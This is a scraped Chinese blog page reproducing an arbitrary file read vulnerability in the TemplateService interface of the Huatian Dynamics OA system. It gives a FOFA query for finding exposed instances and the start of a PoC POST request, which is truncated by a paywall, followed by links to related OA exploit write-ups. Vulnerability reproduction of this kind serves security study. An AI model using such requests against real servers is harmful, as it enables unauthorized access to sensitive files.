华天动力OA TemplateService 任意文件读取漏洞复现

已于 2023-12-28 16:23:45 修改
阅读量1.7k 收藏 10
点赞数 9
分类专栏： 漏洞复现v1 文章标签： 安全 web安全
于 2023-12-28 16:22:48 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_41904294/article/details/135272432
版权
本文介绍了华天动力OA系统TemplateService接口存在的任意文件读取漏洞，该漏洞可能导致攻击者获取服务器敏感信息。复现环境中通过FOFA查询，PoC演示了在Linux环境下读取/etc/passwd。建议采取安全措施如限制访问、使用WAF防护并及时更新系统到最新版本。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

0x01 产品简介

 华天动力OA是一款将先进的管理思想、 管理模式和软件技术、网络技术相结合，为用户提供了低成本、 高效能的协同办公和管理平台。

0x02 漏洞概述

华天动力OA TemplateService接口处存在任意文件读取漏洞，未经身份认证的攻击者可利用此漏洞获取服务器内部敏感文件，使系统处于极不安全的状态。

0x03 复现环境

FOFA：app="华天动力-OA8000"

0x04 漏洞复现

PoC

POST /OAapp/bfapp/buffalo/TemplateService HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Content-Type: text/xml

<buffalo-call>
<me
了解本专栏 订阅专栏 解锁全文 超级会员免费看
华天动力OA downloadWpsFile接口处任意文件读取漏洞复现 [附POC]
薛定谔嘚喵博客
07-26 326
华天动力OA downloadWpsFile接口处存在任意 文件读取漏洞，未经身份认证的攻击者可利用此漏洞获取服务器内部敏感文件，使系统处于极不安全的状态。
华天动力OA-TemplateService任意文件读取
weixin_43567873的博客
03-26 154
华天动力OA-TemplateService任意文件读取
【复现】用友u8CRM 文件读取漏洞
fushuang333的博客
12-28 889
【复现】用友u8CRM 文件读取漏洞。用友U8CRM 是一款专为代理销售服务行业设计的集CRM、呼叫中心、OA核心应用于一体，提供前端营销、后端业务处理及员工管理一体化应用的管理软件。
拿不下靶标后台就100分-华天动力OA登录绕过自动化脚本，从零基础到精通，收藏这篇就够了！
最新发布
leah126的博客
02-27 643
进行解密,获取里面的userShowId、realUserId、pinyin)、code、randomcode，以及otherInfoModel中的defaultColorStyle，第二步替换。对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图&学习规划。自动构造useinfo。这也是耗费了大白近四个月的时间，吐血整理，文章非常非常长，觉得有用的话，希望粉丝朋友帮忙点个**「分享」对于从来没有接触过黑客/网络安全的同学，目前网络安全、信息安全也是计算机大学生毕业薪资相对较高的学科。
【复现】华天动力OA办公系统 任意文件读取漏洞_62
fushuang333的博客
03-02 1476
【复现】华天动力OA办公系统 任意文件读取漏洞，通过提交专门设计的输入，攻击者就可以在被访问的文件系统中读取或写入任意内容。
【漏洞复现】华天动力OA TemplateService接口处存在任意文件读取漏洞
https://blog.echo234.cn/
03-30 1143
华天软件有限公司（简称“华天动力”）是国内首批专注于独立OA协同软件研发、为政企提供垂直专业、数智化转型解决方案的科技创新型企业。华天动力OA TemplateService 接口处存在任意文件读取漏洞，攻击者可以利用此漏洞获取系统敏感信息。
华天动力OA8000 ntkoupload.jsp 任意文件上传漏洞[CNVD-2022-54886]复现
qq_53733257的博客
12-21 1836
华天动力OA8000 ntkoupload.jsp 任意文件上传漏洞[CNVD-2022-54886]复现
【漏洞复现】华天动力-OA-TemplateService-任意文件读取
知黑而守白
01-11 293
华天动力OA是一个以技术领先著称的协同软件产品，拥有领先业界的三大核心技术:协同平台、工作流和智能报表，是业内唯一实现协同工具软件、协同应用软件、协同平台融合的协同软件产品，也是业内唯一所有版本统一平台、统一服务、统一升级的协同软件产品。华天动力-OA系统中的 ntkodownload 接口存在文件读取漏洞。攻击者可以通过发送特定的POST请求，利用该漏洞获取系统敏感文件。
【漏洞复现】天OA存在任意文件上传漏洞
失心少年
09-08 1179
技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。华天动力协同办公系统将先进的管理思想、管理模式和软件技术、网络技术相结合，为用户提供了低成本、高效能的协同办公和管理平台。第二步这里，我试了几次没有写成功，可能是post请求body部分哪里没有搞对，有兴趣的可以试一试，成功了告诉我。
华天动力-OA8000 MyHttpServlet 文件上传漏洞复现
0xSec
11-29 1899
华天动力OAMyHttpServlet存在任意文件上传漏洞，未经身份认证的攻击者可上传恶意的raq文件并执行raq文件中的任意sql语句，获取用户账号密码等敏感信息。
华天OA漏洞复现手册
1stPeak's Blog
04-21 5832
前言：万户OA产品漏洞复现笔记，供自己使用，不定期更新 声明：本人所有文章均为技术分享，请勿非法用于其他用途，否则后果自负。 漏洞列表： 用友 FE协作办公平台 templateOfTaohong_manager.jsp 目录遍历漏洞 万户OA download_ftp.jsp 任意文件下载漏洞 漏洞描述 万户OA download_ftp.jsp文件存在任意文件下载漏洞，攻击者通过漏洞可以下载服务器上的任意文件 漏洞影响 万户OA 网络测绘 app="万户网络-ezOFFICE" 漏洞复现 ...
华天动力OA ntkodownload.jsp 任意文件读取漏洞（含批量验证poc）
weixin_43567873的博客
04-07 284
华天动力OA ntkodownload.jsp 任意文件读取漏洞（含批量验证poc）
华天OA任意文件上传漏洞 复现
薛定谔嘚喵博客
10-09 779
华天动力协同办公系统将先进的管理思想、管理模式和软件技术、网络技术相结合，为用户提供了低成本、高效能的协同办公和管理平台。睿智的管理者通过使用华天动力协同办公平台，在加强规范工作流程、强化团队执行、推动精细管理、促进营业增长等工作中取得了良好的成效。该OA系统存在任意文件上传漏洞，攻击者通过漏洞可以获取服务器的敏感信息。
华天动力-OA-hrapplicationformservice-信息泄露（含批量验证poc）
weixin_43567873的博客
04-17 317
华天动力-OA-hrapplicationformservice-信息泄露（含批量验证poc）
【1day】华天软件 OAworkFlowService接口SQL注入漏洞学习
记录并分享学习安全的知识点..
12-02 678
华天软件 OA（Office Automation）是华天软件公司开发的一套办公自动化软件解决方案。它旨在帮助企业提高工作效率、优化流程管理，并实现信息化办公；华天软件 OAworkFlowService接口存在接口SQL注入漏洞，攻击者通过在Web应用程序的输入字段中注入恶意的SQL代码，从而在后台数据库中执行未经授权的操作。
【漏洞复现】华天动力-OA-ntkoupload-文件上传
知黑而守白
01-11 376
华天动力OA是一个以技术领先著称的协同软件产品，拥有领先业界的三大核心技术:协同平台、工作流和智能报表，是业内唯一实现协同工具软件、协同应用软件、协同平台融合的协同软件产品，也是业内唯一所有版本统一平台、统一服务、统一升级的协同软件产品。华天动力OA系统中的 ntkoupload 接口存在文件上传漏洞。未经身份认证的攻击者通过该漏洞上传恶意文件，可能导致恶意代码执行、身份伪造、后门植入、敏感数据泄露等问题。
华天动力OA workFlowService SQL注入获得root权限
失心少年
08-04 804
技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！发现mysql为root权限，剩下的就简单了，查目录写文件。fofa：app=“华天动力-OA8000”到这里，oa的路径也就得到了，剩下的自由发挥。该命令可查询到mysql按照路径，2、sqlmap梭哈。
文件上传漏洞（一）
不秃头的程序Yang
05-18 2960
简介 文件上传漏洞是指由于程序员未对上传的文件进行严格的验证和过滤，而导致的用户可以越过其本身权限向服务器上传可执行的动态脚本文件。如常见的头像上传， 图片上传，oa 办公文件上传，媒体上传，允许用户上传文件，如果过滤不严格，恶意用户利用文件上传漏洞，上传有害的可以执行脚本文件到服务器中，可以获取服务器的权限，或进一步危害服务器。 ...
华天动力-TemplateService-任意文件读取
waxcj的博客
01-03 498
2024 0102 1day
致远oa wpsassistservlet 任意文件读取漏洞
12-27
致远oa wpsassistservlet 任意文件读取漏洞是一种安全漏洞，攻击者可以利用该漏洞来读取系统中的任意文件，包括重要的系统文件及用户数据文件。攻击者可以通过该漏洞来获取敏感信息，危害系统安全。 这个漏洞存在的根本原因可能是在致远oa wpsassistservlet中对用户输入的数据没有进行充分的验证和过滤，导致攻击者可以构造恶意请求，获取系统文件的内容。一旦攻击者成功利用这个漏洞，就可能对系统进行攻击，损害系统的安全性。 针对致远oa wpsassistservlet 任意文件读取漏洞，我们可以采取一些措施来加强系统的安全性。首先，及时更新系统补丁，确保系统能够及时修复这个漏洞。其次，加强对用户输入数据的验证和过滤，限制用户的输入范围，避免攻击者利用恶意输入来进行攻击。另外，加强系统的监控和审计功能，及时发现异常行为，并进行处理。 总的来说，致远oa wpsassistservlet 任意文件读取漏洞是一种严重的安全隐患，需要引起相关部门的重视，采取必要的措施来确保系统的安全性。只有不断加强系统的安全防护措施，及时修复存在的漏洞，才能有效地提升系统的安全性。
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

0xSecl

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值